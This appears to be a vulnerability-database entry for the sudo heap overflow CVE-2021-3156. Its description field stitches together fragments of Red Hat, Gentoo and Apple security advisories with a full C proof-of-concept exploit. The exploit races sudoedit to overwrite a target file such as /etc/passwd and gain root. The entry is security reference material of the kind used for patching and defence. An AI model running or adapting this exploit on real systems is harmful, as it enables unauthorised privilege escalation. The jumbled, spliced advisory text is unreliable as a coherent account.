ID

VAR-202101-1926

CVE

CVE-2021-3156

TITLE

sudo  Heap-based buffer overflow vulnerability in

DESCRIPTION

Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character. sudo has a heap-based buffer overflow due to the implementation of escaping special characters set in command arguments (CWE-122) Vulnerability exists. 2021 Year 2 Moon 5 As of the date macOS , AIX , Solaris It has been reported that it may also be affected by the virus, but it has not been confirmed by the finder. note that, 2021 Year 2 Moon 9 On the day Apple has released a security update to address this issue.A local third party can elevate privileges and execute commands with administrator privileges. These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks. Bug Fix(es): * Previously, the Red Hat Virtualization Host (RHV-H) repository (rhvh-4-for-rhel-8-x86_64-rpms) did not include the libsmbclient package, which is a dependency for the sssd-ad package. Consequently, the sssd-ad package failed to install. With this update, the libsmbclient is now in the RHV-H repository, and sssd-ad now installs on RHV-H. (BZ#1868967) 4. Bugs fixed (https://bugzilla.redhat.com/): 1850939 - Hosted engine deployment does not properly show iSCSI LUN errors 1868967 - sssd-ad installation fails on RHV-H 4.4 due to missing libsmbclient from samba package in rhvh-4-for-rhel-8-x86_64-rpms channel 1889686 - CVE-2020-25684 dnsmasq: loose address/port check in reply_query() makes forging replies easier for an off-path attacker 1889688 - CVE-2020-25685 dnsmasq: loose query name check in reply_query() makes forging replies easier for an off-path attacker 1890125 - CVE-2020-25686 dnsmasq: multiple queries forwarded for the same name makes forging replies easier for an off-path attacker 1902315 - Rebase RHV-H 4.4 to RHV 4.4.4 1902646 - ssh connection fails due to overly permissive openssh.config file permissions 1909644 - HE deploy failed with "Failed to download metadata for repo 'rhel-8-for-x86_64-baseos-beta-rpms': Cannot download repomd.xml 1917684 - CVE-2021-3156 sudo: Heap buffer overflow in argument parsing 1921553 - RHVH upgrade to the latest 4.4.4-1 build will fail due to FileNotFoundError 1923126 - Hosted Engine setup fails on storage selection - Retrieval of iSCSI targets failed. # Exploit Title: Local Privilege Escalation - LPE # Authors and Contributors: cts, help from r4j, debug by nu11secur1ty # Date: 30.01.2021 # Vendor: https://www.sudo.ws/ # Link: https://www.sudo.ws/download.html # CVE: CVE-2021-3156 [+] Credits: Ventsislav Varbanovski (@ nu11secur1ty) [+] Website: https://www.nu11secur1ty.com/ [+] Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021 [Exploit Program Code] // Exploit by @gf_256 aka cts // With help from r4j // Debug by @nu11secur1ty // Original advisory by Baron Samedit of Qualys // Tested on Ubuntu 18.04 and 20.04 & 20.04.01 // You will probably need to adjust RACE_SLEEP_TIME. #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdlib.h> #include <assert.h> #include <unistd.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <pwd.h> // !!! best value of this varies from system-to-system !!! // !!! you will probably need to tune this !!! #define RACE_SLEEP_TIME 10000 char *target_file; char *src_file; size_t query_target_size() { struct stat st; stat(target_file, &st); return st.st_size; } char* read_src_contents() { FILE* f = fopen(src_file, "rb"); if (!f) { puts("oh no baby what are you doing :("); abort(); } fseek(f, 0, SEEK_END); long fsize = ftell(f); fseek(f, 0, SEEK_SET); char *content = malloc(fsize + 1); fread(content, 1, fsize, f); fclose(f); return content; } char* get_my_username() { // getlogin can return incorrect result (for example, root under su)! struct passwd *pws = getpwuid(getuid()); return strdup(pws->pw_name); } int main(int my_argc, char **my_argv) { puts("CVE-2021-3156 PoC by @gf_256"); puts("original advisory by Baron Samedit"); if (my_argc != 3) { puts("./meme <target file> <src file>"); puts("Example: ./meme /etc/passwd my_fake_passwd_file"); return 1; } target_file = my_argv[1]; src_file = my_argv[2]; printf("we will overwrite %s with shit from %s\n", target_file, src_file); char* myusername = get_my_username(); printf("hi, my name is %s\n", myusername); size_t initial_size = query_target_size(); printf("%s is %zi big right now\n", target_file, initial_size); char* shit_to_write = read_src_contents(); char memedir[1000]; char my_symlink[1000]; char overflow[1000]; char* bigshit = calloc(1,0x10000); memset(bigshit, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\", overflow, NULL }; char *envp[] = { "\n\n\n\n\n", // put some fuckin newlines here to separate our real contents from the junk shit_to_write, "SUDO_ASKPASS=/bin/false", "LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ", bigshit, NULL }; puts("ok podracing time bitches"); // Boom =) // for (int i = 0; i < 5000; i++) for (int i = 0; i < 3000; i++) { sprintf(memedir, "ayylmaobigchungussssssssssss00000000000000000000000000%08d", i); sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir); sprintf(my_symlink, "%s/%s", memedir, myusername); puts(memedir); if (access(memedir, F_OK) == 0) { printf("dude, %s already exists, do it from a clean working dir\n", memedir); return 1; } pid_t childpid = fork(); if (childpid) { // parent usleep(RACE_SLEEP_TIME); mkdir(memedir, 0700); symlink(target_file, my_symlink); waitpid(childpid, 0, 0); } else { // child setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race reliability execve("/usr/bin/sudoedit", argv, envp); // noreturn puts("execve fails?!"); abort(); } if (query_target_size() != initial_size) { puts("target file has a BRUH MOMENT!!!! SUCCess???"); system("xdg-open 'https://www.youtube.com/watch?v=cj_8X1cyVFc'"); // ayy lmao return 0; } } puts("Failed?"); puts("if all the meme dirs are owned by root, the usleep needs to be decreased."); puts("if they're all owned by you, the usleep needs to be increased"); return 0; } [Vendor] Sudo [Vulnerability Type] Buffer Overflow Local Privilege Escalation [CVE Reference] Sudo before 1.9.5p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character. [Security Issue] Taking control of the Linux system Vulnerabilty version: before 1.9.5p2 [Video] https://www.youtube.com/watch?v=L-dEIYEQd1E [Conclusion and Fix] https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156 https://www.youtube.com/watch?v=zf8FXOFWZKs @nu11secur1ty https://www.nu11secur1ty.com/ . 7.7) - ppc64, ppc64le, s390x, x86_64 3. Summary: Red Hat Ansible Automation Platform Resource Operator 1.2 (technical preview) images that fix several security issues. Description: Red Hat Ansible Automation Platform Resource Operator container images with security fixes. Ansible Automation Platform manages Ansible Platform jobs and workflows that can interface with any infrastructure on a Red Hat OpenShift Container Platform cluster, or on a traditional infrastructure that is running off-cluster. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. Bugs fixed (https://bugzilla.redhat.com/): 1914774 - CVE-2021-20178 ansible: user data leak in snmp_facts module 1915808 - CVE-2021-20180 ansible module: bitbucket_pipeline_variable exposes secured values 1916813 - CVE-2021-20191 ansible: multiple modules expose secured values 1925002 - CVE-2021-20228 ansible: basic.py no_log with fallback option 1939349 - CVE-2021-3447 ansible: multiple modules expose secured values 5. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 202101-33 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - https://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: sudo: Multiple vulnerabilities Date: January 26, 2021 Bugs: #764986, #767364 ID: 202101-33 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======= Multiple vulnerabilities have been found in sudo, the worst of which could result in privilege escalation. Affected packages ================ ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-admin/sudo < 1.9.5_p2 >= 1.9.5_p2 Description ========== Multiple vulnerabilities have been discovered in sudo. Please review the CVE identifiers referenced below for details. Impact ===== Local users are able to gain unauthorized privileges on the system or determine the existence of files. Workaround ========= There is no known workaround at this time. Resolution ========= All sudo users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-admin/sudo-1.9.5_p2" References ========= [ 1 ] CVE-2021-23239 https://nvd.nist.gov/vuln/detail/CVE-2021-23239 [ 2 ] CVE-2021-23240 https://nvd.nist.gov/vuln/detail/CVE-2021-23240 [ 3 ] CVE-2021-3156 https://nvd.nist.gov/vuln/detail/CVE-2021-3156 [ 4 ] Upstream advisory (CVE-2020-23240) https://www.sudo.ws/alerts/sudoedit_selinux.html [ 5 ] Upstream advisory (CVE-2021-3156) https://www.sudo.ws/alerts/unescape_overflow.html Availability =========== This GLSA and any updates to it are available for viewing at the Gentoo Security Website: https://security.gentoo.org/glsa/202101-33 Concerns? ======== Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ====== Copyright 2021 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. https://creativecommons.org/licenses/by-sa/2.5 . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ==================================================================== Red Hat Security Advisory Synopsis: Important: sudo security update Advisory ID: RHSA-2021:0221-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2021:0221 Issue date: 2021-01-26 CVE Names: CVE-2021-3156 ==================================================================== 1. Summary: An update for sudo is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. 2. Relevant releases/architectures: Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64 Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64 3. Description: The sudo packages contain the sudo utility which allows system administrators to provide certain users with the permission to execute privileged commands, which are used for system management purposes, without having to log in as root. Security Fix(es): * sudo: Heap buffer overflow in argument parsing (CVE-2021-3156) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. 4. Solution: For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/11258 5. Bugs fixed (https://bugzilla.redhat.com/): 1917684 - CVE-2021-3156 sudo: Heap buffer overflow in argument parsing 6. Package List: Red Hat Enterprise Linux Client (v. 7): Source: sudo-1.8.23-10.el7_9.1.src.rpm x86_64: sudo-1.8.23-10.el7_9.1.x86_64.rpm sudo-debuginfo-1.8.23-10.el7_9.1.x86_64.rpm Red Hat Enterprise Linux Client Optional (v. 7): x86_64: sudo-debuginfo-1.8.23-10.el7_9.1.i686.rpm sudo-debuginfo-1.8.23-10.el7_9.1.x86_64.rpm sudo-devel-1.8.23-10.el7_9.1.i686.rpm sudo-devel-1.8.23-10.el7_9.1.x86_64.rpm Red Hat Enterprise Linux ComputeNode (v. 7): Source: sudo-1.8.23-10.el7_9.1.src.rpm x86_64: sudo-1.8.23-10.el7_9.1.x86_64.rpm sudo-debuginfo-1.8.23-10.el7_9.1.x86_64.rpm Red Hat Enterprise Linux ComputeNode Optional (v. 7): x86_64: sudo-debuginfo-1.8.23-10.el7_9.1.i686.rpm sudo-debuginfo-1.8.23-10.el7_9.1.x86_64.rpm sudo-devel-1.8.23-10.el7_9.1.i686.rpm sudo-devel-1.8.23-10.el7_9.1.x86_64.rpm Red Hat Enterprise Linux Server (v. 7): Source: sudo-1.8.23-10.el7_9.1.src.rpm ppc64: sudo-1.8.23-10.el7_9.1.ppc64.rpm sudo-debuginfo-1.8.23-10.el7_9.1.ppc64.rpm ppc64le: sudo-1.8.23-10.el7_9.1.ppc64le.rpm sudo-debuginfo-1.8.23-10.el7_9.1.ppc64le.rpm s390x: sudo-1.8.23-10.el7_9.1.s390x.rpm sudo-debuginfo-1.8.23-10.el7_9.1.s390x.rpm x86_64: sudo-1.8.23-10.el7_9.1.x86_64.rpm sudo-debuginfo-1.8.23-10.el7_9.1.x86_64.rpm Red Hat Enterprise Linux Server Optional (v. 7): ppc64: sudo-debuginfo-1.8.23-10.el7_9.1.ppc.rpm sudo-debuginfo-1.8.23-10.el7_9.1.ppc64.rpm sudo-devel-1.8.23-10.el7_9.1.ppc.rpm sudo-devel-1.8.23-10.el7_9.1.ppc64.rpm ppc64le: sudo-debuginfo-1.8.23-10.el7_9.1.ppc64le.rpm sudo-devel-1.8.23-10.el7_9.1.ppc64le.rpm s390x: sudo-debuginfo-1.8.23-10.el7_9.1.s390.rpm sudo-debuginfo-1.8.23-10.el7_9.1.s390x.rpm sudo-devel-1.8.23-10.el7_9.1.s390.rpm sudo-devel-1.8.23-10.el7_9.1.s390x.rpm x86_64: sudo-debuginfo-1.8.23-10.el7_9.1.i686.rpm sudo-debuginfo-1.8.23-10.el7_9.1.x86_64.rpm sudo-devel-1.8.23-10.el7_9.1.i686.rpm sudo-devel-1.8.23-10.el7_9.1.x86_64.rpm Red Hat Enterprise Linux Workstation (v. 7): Source: sudo-1.8.23-10.el7_9.1.src.rpm x86_64: sudo-1.8.23-10.el7_9.1.x86_64.rpm sudo-debuginfo-1.8.23-10.el7_9.1.x86_64.rpm Red Hat Enterprise Linux Workstation Optional (v. 7): x86_64: sudo-debuginfo-1.8.23-10.el7_9.1.i686.rpm sudo-debuginfo-1.8.23-10.el7_9.1.x86_64.rpm sudo-devel-1.8.23-10.el7_9.1.i686.rpm sudo-devel-1.8.23-10.el7_9.1.x86_64.rpm These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/ 7. References: https://access.redhat.com/security/cve/CVE-2021-3156 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/security/vulnerabilities/RHSB-2021-002 8. Contact: The Red Hat security contact is <secalert@redhat.com>. More contact details at https://access.redhat.com/security/team/contact/ Copyright 2021 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIVAwUBYBB9QtzjgjWX9erEAQjMkQ/+PUDUX16Tnzqt7l1CsDAkHsT89EyY1keR 5XAlnrEv0nfw+/Feb2zhjlAlGbZSE1pTHOB4WarZzz2edZW5PRDw2SnljPToGoF2 6e4rlxRMJzFzc1WiOl5VgIq2LsOrqE1x3smwx7UGloMNmld/wgNKzFyddlR3ya0/ k78GAgUD2K/riILpeSG9M3jkK6IX/ecAOV8cK4GnmVAyrc/I0ud+wp+AFaQdKOUd DJ08C4ktxCEDZnCMV7X0fheoVB08T2VUPqM3AT0mP8Q07RWElFNAYYzS0/0ABGdd G/bRXDOiP0Qp92gMjWi4zu8JJk1Yyt8vnXII30gr2dd4f/8O0X6N+fntkhpc86N0 mdXrPNBDXC6YJqahqtTH3ZMNWj37kSX5O0QIxRMMySIuPEhLdkF0A4CBGcP1qpaN BQf/nNAvYlkz70QTL91JkUL98X0Ih+O6IAPxT//C90VXwXTb2+XmBBYjA24/gHJn kpv9ZzJfeCSCVoa019u3r/8pkMIfiN69GpO2FQTJCP4MbIJPHeANp2lYEA+KHPqE XJvy0qh3YEs741KxKwzbaMgOTrYsoMvKhVeJZm0t5bpU5Y5TTF9fCVan8uJ8ke6d buQej1iyBUvPq+gMQvJhwiP1Q2rvgxPmHP+L3Awo9tTqm6b7WsqdRq5K+B025v+d NdZXKIPEQVY=7/vM -----END PGP SIGNATURE----- -- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2021-02-09-1 macOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental Update, and macOS Mojave 10.14.6 Security Update 2021-002 macOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental Update, and macOS Mojave 10.14.6 Security Update 2021-002 addresses the following issues. Information about the security content is also available at https://support.apple.com/HT212177. macOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental Update*, macOS Mojave 10.14.6 Security Update 2021-002 Intel Graphics Driver Available for: macOS Big Sur 11.2, macOS Catalina 10.15.7 Impact: An application may be able to execute arbitrary code with kernel privileges Description: An out-of-bounds write was addressed with improved input validation. CVE-2021-1805: ABC Research s.r.o. working with Trend Micro Zero Day Initiative Intel Graphics Driver Available for: macOS Big Sur 11.2, macOS Catalina 10.15.7 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A race condition was addressed with additional validation. CVE-2021-1806: ABC Research s.r.o. working with Trend Micro Zero Day Initiative Sudo Available for: macOS Big Sur 11.2, macOS Catalina 10.15.7, macOS Mojave 10.14.6 Impact: A local attacker may be able to elevate their privileges Description: This issue was addressed by updating to sudo version 1.9.5p2. CVE-2021-3156: Qualys * After installing this update, the build number for macOS Catalina 10.15.7 is 19H524. 8.2) - aarch64, ppc64le, s390x, x86_64 3

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

local

TYPE

buffer error

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Red Hat

SOURCES

LAST UPDATE DATE

2025-04-30T21:54:09.377000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE